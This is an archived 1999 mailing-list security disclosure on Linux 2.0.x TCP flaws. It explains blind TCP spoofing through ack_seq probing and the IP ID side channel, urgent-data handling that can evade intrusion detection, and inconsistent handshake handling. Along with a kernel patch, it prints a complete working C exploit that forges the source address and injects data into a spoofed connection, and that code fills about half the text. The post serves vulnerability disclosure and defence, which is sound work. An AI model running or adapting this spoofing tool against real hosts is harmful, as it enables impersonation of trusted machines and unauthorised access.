Date: Sun, 1 Aug 1999 01:10:06 +0200
From: Nergal <[email protected]>
To: [email protected]Subject: Linux blind TCP spoofing, act II + others
Hello,
Thanks to libnids development, some features/bugs in Linux kernel were found.
I notified kernel mantainers in May, but they didn't seem interested.
1. Blind TCP spoofing against 2.0.36/37
Let's label a Linux server as A, an attacker's host as B, the spoofed
host as C. If the following conditions hold:
a) C is down (disabled)
b) A is idle; more precisely, during the attack A should not send any
packets beside ones generated in response to the packets sent by B
c) during the attack, no packet sent from B to A can be dropped by a router
then an attacker can spoof a TCP stream connecting A and C.
As we see, these conditions are not trivial. However, b) and c) can
hold if an attack is conducted during low network traffic period; and there
are ways to fulfill a) :)
Firstly, let's have a look how Linux 2.0.x reacts to a non-typical
TCP segment sent as a third packet of a three way handshake. In the example
below we send to a Linux server (A) packets from B with source address set to
C.
Time packets with forged source address packets sent by the server
0 flags=S,seq=X
1 flags=SA,seq=Y,ack_seq=X+1
2 flags=A,seq=X+1, ack_seq=Y-1000
3 no packet generated !
4 flags=A,seq=X+1,ack_seq=Y+1000
5 flags=R,seq=Y+1000
a packet IS generated !
6 flags=A,seq=X+1,ack_seq=Y+1
7 flags=A,seq=Y+1,ack_seq=X+1
socket enters "established" state
8 flags=A,seq=X+1,ack_seq=Y+1000
9 no packet sent !
So, when an attacker sends (as a third packet of tcp handshake) a
packet with too small ack_seq, the server sends no packets (doesn't it
violate RFC793 ?). When a packet with too big ack_seq is sent, the server
sends a packet (with a reset flag).
Now let's recall another Linux feature. Many OSes (including Linux)
assign to ID field of an outgoing IP datagram consecutive, increasing
numbers (we forget about fragmentation here; irrelevant in this case). That
enables anyone to determine the number of packets sent by host A: it's enough
to ping it, note the value of ID field of received ICMP_REPLY packet, wait x
seconds (or perform some other actions), then again ping host A. The
difference between ID fields of received ICMP_REPLY packets is equal to (the
number of packets sent by A in x second) +1. "Idle portscan" by antirez uses
this technique.
Having sent an initial TCP segment with SYN flag, our attack will
consist of a set of "probes". In each probe, we send a (forged) TCP packet
with flags=A and (arbitrary) ack_seq=X, then we send an ICMP_ECHO request, and
finally note the ID field of received ICMP_REPLY packet. If this ID field has
incremented by 1 since the last time, only one packet were sent by server
(ICMP_REPLY), so we must have chosen too small X (that is, ack_seq). If ID
field has incremented by 2, two packes were sent (TCP with reset flag and
ICMP_REPLY), so we must have chosen too big ack_seq. This way we can perform
a binary search in space of ack_seq's, determining exact ack_seq after at most
32 probes. Note that finding correct ack_seq can be verified by sending a
probe with previously found too big ack_seq; if connection is in "established"
state, no packet will be generated by server.
After we have found the Holy Graal of blind spoofers, the correct
value of ack_seq, nothing will prevent us from completing 3whs and sending
arbitrary data.
At the end of this post I enclosed an exploit; don't use it without
the permission of the target host's admin. I tested it on 2.0.37, 36 and 30;
probably all 2.0.x are affected. It requires libnet (which can be downloaded
from www.packetfactory.net). I compiled it on Linux glibc system. The
following simple patch (against 2.0.37) enforces sending a reset in response
to a packet with too small ack_seq (of course, only when we are in SYN_RECV
state). This patch also cures the bug described in point 3.
-------------------------CUT HERE--------------------------------------
--- linux-2.0.37/net/ipv4/tcp_input.c.orig Fri Jul 23 17:25:14 1999
+++ linux/net/ipv4/tcp_input.c Fri Jul 23 17:29:43 1999
@@ -2764,7 +2764,18 @@
kfree_skb(skb, FREE_READ);
return 0;
}
-
+
+ if (sk->state==TCP_SYN_RECV && th->ack && skb->ack_seq!=sk->sent_seq)
+ {
+ /*
+ * Quick fix to detect too small ack_seq
+ * in 3rd packet of 3ws and force a RST segment.
+ */
+ tcp_send_reset(daddr, saddr, th,sk->prot, opt, dev,0,255);
+ kfree_skb(skb, FREE_READ);
+ return 0;
+ }
+
rfc_step6:
/*
* If the accepted buffer put us over our queue size we
-------------------------CUT HERE--------------------------------------
2. A byte of urgent data can be received in normal data stream. Let's
consider the following scenario:
Time Client app Server app
0 bind(...), listen(...), accept(...)
1 connect(...)
2 accept(...) returns newsock
3 send(sockfd,"AB",2,MSG_OOB)
4 send(sockfd,"XY",2,MSG_OOB)
5 n=read(newsock,buffer,1024)
function read returns 3, buffer contains "ABX", though byte 'B' was marked
as urgent. Verified with 2.0.37 and 2.2.9-ac1, probably all versions are
vulnerable. Note that this behaviour can be exploited to bypass NIDS.
3. Weird handling of 3rd stage of TCP handshake.
Time packets sent by a client packets sent by a server
0 flags=S,seq=X
1 flags=SA,seq=Y,ack_seq=X+1
2 flags=A,seq=X+1,ack_seq=Y-4,data="xyz"
3 flags=A,seq=Y+1,ack_seq=X+4
no data is returned to app
4 flags=SA,seq=Y+1,ack_seq=X+4
5 flags=A,seq=X+1,ack_seq=Y+1,data="1234567"
6 flags=A,seq=Y+1,ack_seq=X+8
app receives "4567"
which is inconsitent. Either the packet sent in time 2 should be discarded and
app should receive "1234567", or app should receive "xyz4567" .
Verified on 2.0.36, 2.2.x behaves correctly (sends reset in time 3).
Usually it is not a problem, but IDS developers can be worried.
Save yourself,
Nergal
/* by Nergal */
#include "libnet.h"
#include <netinet/ip.h>
#include <netdb.h>
int sock, icmp_sock;
int packid;
unsigned int target, target_port, spoofed, spoofed_port;
unsigned long myaddr;
int
get_id ()
{
char buf[200];
char buf2[200];
int n;
unsigned long addr;
build_icmp_echo (ICMP_ECHO, 0, getpid (), 1, 0, 0, buf + IP_H);
build_ip (ICMP_ECHO_H, 0, packid++, 0, 64, IPPROTO_ICMP, myaddr,
target, 0, 0, buf);
do_checksum (buf, IPPROTO_ICMP, ICMP_ECHO_H);
write_ip (sock, buf, IP_H + ICMP_ECHO_H);
do
{
n = read (icmp_sock, buf2, 200);
addr = ((struct iphdr *) buf2)->saddr;
}
while (addr != target);
return ntohs (((struct iphdr *) buf2)->id);
}
static int first_try;
int
is_bigger ()
{
static unsigned short id = 0, tmp;
usleep (10000);
tmp = get_id ();
if (tmp == id + 1)
{
id = tmp;
return 0;
}
else if (tmp == id + 2)
{
id = tmp;
return 1;
}
else
{
if (first_try)
{
id = tmp;
first_try = 0;
return 0;
}
fprintf (stderr, "Unexpected IP id, diff=%i\n", tmp - id);
exit (1);
}
}
void
probe (unsigned int ack)
{
char buf[200];
usleep (10000);
build_tcp (spoofed_port, target_port, 2, ack, 16, 32000, 0, 0, 0, buf + IP_H);
build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
target, 0, 0, buf);
do_checksum (buf, IPPROTO_TCP, TCP_H);
write_ip (sock, buf, IP_H + TCP_H);
}
void
send_data (unsigned int ack, char *rant)
{
char * buf=alloca(200+strlen(rant));
build_tcp (spoofed_port, target_port, 2, ack, 16, 32000, 0, rant, strlen (rant), buf + IP_H);
build_ip (TCP_H + strlen (rant), 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
target, 0, 0, buf);
do_checksum (buf, IPPROTO_TCP, TCP_H + strlen (rant));
write_ip (sock, buf, IP_H + TCP_H + strlen (rant));
}
void
send_syn ()
{
char buf[200];
build_tcp (spoofed_port, target_port, 1, 0, 2, 32000, 0, 0, 0, buf + IP_H);
build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
target, 0, 0, buf);
do_checksum (buf, IPPROTO_TCP, TCP_H);
write_ip (sock, buf, IP_H + TCP_H);
}
#define MESSAGE "Check out netstat on this host :)\n"
void
send_reset ()
{
char buf[200];
build_tcp (spoofed_port, target_port, 4 + strlen (MESSAGE), 0, 4, 32000, 0, 0, 0, buf + IP_H);
build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
target, 0, 0, buf);
do_checksum (buf, IPPROTO_TCP, TCP_H);
write_ip (sock, buf, IP_H + TCP_H);
}
#define LOTS ((unsigned int)(1<<30))
main (int argc, char **argv)
{
unsigned int seq_low = 0, seq_high = 0, seq_toohigh, seq_curr;
int i;
char myhost[100];
struct hostent *ht;
if (argc != 5)
{
printf ("usage:%s target_ip target_port spoofed_ip spofed_port\n", argv[0]);
exit (1);
}
gethostname (myhost, 100);
ht = gethostbyname (myhost);
if (!ht)
{
printf ("Your system is screwed.\n");
exit (1);
}
myaddr = *(unsigned long *) (ht->h_addr);
target = inet_addr (argv[1]);
target_port = atoi (argv[2]);
spoofed = inet_addr (argv[3]);
spoofed_port = atoi (argv[4]);
sock = open_raw_sock (IPPROTO_RAW);
icmp_sock = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (sock <= 0 || icmp_sock <= 0)
{
perror ("raw sockets");
exit (1);
}
packid = getpid () * 256;
fprintf(stderr,"Checking for IP id increments\n");
first_try=1;
for (i = 0; i < 5; i++)
{
is_bigger ();
sleep(1);
fprintf(stderr,"#");
}
send_syn ();
fprintf (stderr, "\nSyn sent, waiting 33 sec to get rid of resent SYN+ACK...");
for (i = 0; i < 33; i++)
{
fprintf (stderr, "#");
sleep (1);
}
fprintf (stderr, "\nack_seq accuracy:");
first_try=1;
is_bigger();
probe (LOTS);
if (is_bigger ())
seq_high = LOTS;
else
seq_low = LOTS;
probe (2 * LOTS);
if (is_bigger ())
seq_high = 2 * LOTS;
else
seq_low = 2 * LOTS;
probe (3 * LOTS);
if (is_bigger ())
seq_high = 3 * LOTS;
else
seq_low = 3 * LOTS;
seq_toohigh = seq_high;
if (seq_high == 0 || seq_low == 0)
{
fprintf (stderr, "Non-listening port or not 2.0.x machine\n");
send_reset ();
exit (0);
}
do
{
fprintf (stderr, "%i ", (unsigned int) (seq_high - seq_low));
if (seq_high > seq_low)
seq_curr = seq_high / 2 + seq_low / 2 + (seq_high % 2 + seq_low % 2) / 2;
else
seq_curr = seq_low + (unsigned int) (1 << 31) - (seq_low - seq_high) / 2;
probe (seq_curr);
if (is_bigger ())
seq_high = seq_curr;
else
seq_low = seq_curr;
probe (seq_toohigh);
if (!is_bigger ())
break;
// getchar();
}
while ((unsigned int) (seq_high - seq_low) > 1);
fprintf (stderr, "\nack_seq=%u, sending data...\n", seq_curr);
send_data (seq_curr, MESSAGE);
fprintf (stderr, "Press any key to send reset.\n");
getchar ();
send_reset ();
}